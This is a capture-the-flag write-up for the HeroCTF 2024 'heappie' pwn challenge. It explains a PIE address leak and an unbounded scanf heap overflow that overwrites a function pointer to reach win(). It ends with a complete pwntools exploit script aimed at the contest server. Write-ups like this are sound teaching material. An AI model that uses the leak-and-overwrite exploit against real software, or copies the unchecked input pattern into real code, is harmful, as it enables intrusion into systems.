4 minutes
🇬🇧 HeroCTF 2024 - pwn/heappie
Table of contents
Note
Writeup for the second pwn
challenge from HeroCTF 2024.
Description
Heappie is a simple application that allows you to save and play your favorite songs. Find a way to exploit it and read the flag.
File information
We are given the binary and the source code, which is written in C.
checksec heappie; file heappie
[*] '/home/conflict/ctfs/heroctf2024/pwn/heappie/heappie'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
heappie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1454a58ded17f3fd2fef3a2d6a30f5cd2f104cd, for GNU/Linux 3.2.0, with debug_info, not stripped
Reading the source code, we see that we have four options:
- Add Music
- Play Music
- Delete Music
- Show Playlist
Additionally, we have a Music
struct that holds a play function, a title, an artist, and a description.
When creating a music entry, if we add sound, a random function is chosen to be the music’s play()
function:
void play_1(Music* music) {
printf("Playing music 1: %s by %s\n", music->title, music->artist);
}
void play_2(Music* music) {
printf("Playing music 2: %s by %s\n", music->title, music->artist);
}
void play_3(Music* music) {
printf("Playing music 3: %s by %s\n", music->title, music->artist);
}
void* choose_random_play() {
int choice = rand() % 3;
switch(choice) {
case 0:
return (void*)play_1;
case 1:
return (void*)play_2;
case 2:
return (void*)play_3;
}
return NULL;
}
[...]
if (add_music == 'y') {
music->play = choose_random_play();
[...]
The show_playlist()
function displays the address to which music->play()
points:
printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);
And most importantly, there is a win()
function!
Looking for a vulnerability
Our goal is to call the win()
function, but as indicated in the checksec output, PIE
is enabled. This means our first step will be to figure out the ELF
’s base address.
To do so, we can calculate it from the address shown by the show_playlist()
function.
We can determine which play_?()
function was used by playing the music (option 2) and retrieving the number from the output.
Once we know win()
’s address, the next step is to find a way to execute it.
When creating a music entry, this block of code is executed:
printf("Enter music title: ");
scanf("%31s", music->title);
printf("Enter music artist: ");
scanf("%31s", music->artist);
printf("Enter music description: ");
scanf("%s", music->description);
The last scanf
call is vulnerable to an overflow because it does not check the size of the input.
Since music blocks are next to each other, overflowing the description of a music entry will overwrite the next music’s pointer to play()
, followed by its title, then its artist….
We have to be careful not to add sound to the next music entry so that the pointer to play()
is not overwritten by the program.
Exploit Plan (TLDR)
- Make a music entry with sound.
- Show the playlist: get the
music->play()
address. - Play the music: determine which
play_?()
function corresponds to it. - Delete the music entry.
- Create a music entry with the payload in the description: overflow the next music’s
play()
pointer withwin()
. - Create a music entry without sound.
- Listen to the music: call
win()
.
Solve Script
#!/usr/bin/python3
from pwn import *
context.update(arch='x86_64')
context.binary = elf = ELF("./heappie", checksec=False)
libc = elf.libc
def start():
if args.REMOTE:
r = remote("pwn.heroctf.fr", 6000)
else:
r = process("./heappie")
gdb.attach(r)
return r
io = start()
# =============================================================================
# =-=-=- Un jour je serai le meilleur pwner -=-=-=
# =============================================================================
play_offsets = [elf.sym["play_1"], elf.sym["play_2"], elf.sym["play_3"]]
def make_music(sound, title, artist, desc):
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'(y/n): ', sound)
io.sendlineafter(b'title: ', title)
io.sendlineafter(b'artist: ', artist)
io.sendlineafter(b'description: ', desc)
make_music(b'y', b'a', b'a', b'a')
# read playlist to get play_? address
io.sendlineafter(b'>>', b'4')
# ignore garbage
io.recvuntil(b'song: ')
play_address = int(io.recvuntil(b'\n').split(b')')[0], 16)
# read music
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'index: ', b'0')
# ignore garbage
io.recvuntil(b'music ')
# get which play function was used
play_number = int(io.recvuntil(b'a').split(b':')[0])
log.info("play " + str(play_number) + " @ " + hex(play_address))
play_offset = play_offsets[play_number-1]
# calculate the elf's base address from it
elf.address = play_address - play_offset
log.success("resolved elf @ " + hex(elf.address))
win_address = elf.sym["win"]
log.info("win @ " + hex(win_address))
# delete the first music
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'index: ', b'0')
# main payload
make_music(b'y', b'rami', b'malek', b'A'*128+p64(win_address))
make_music(b'n', b'pwned', b'conflict', b'lol')
# call win()
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'index: ', b'1')
log.success((b"FLAG -> " + io.recvuntil(b'}').split()[1]).decode('utf-8'))
Conclusion
I really enjoyed this challenge as a beginner in heap exploitation.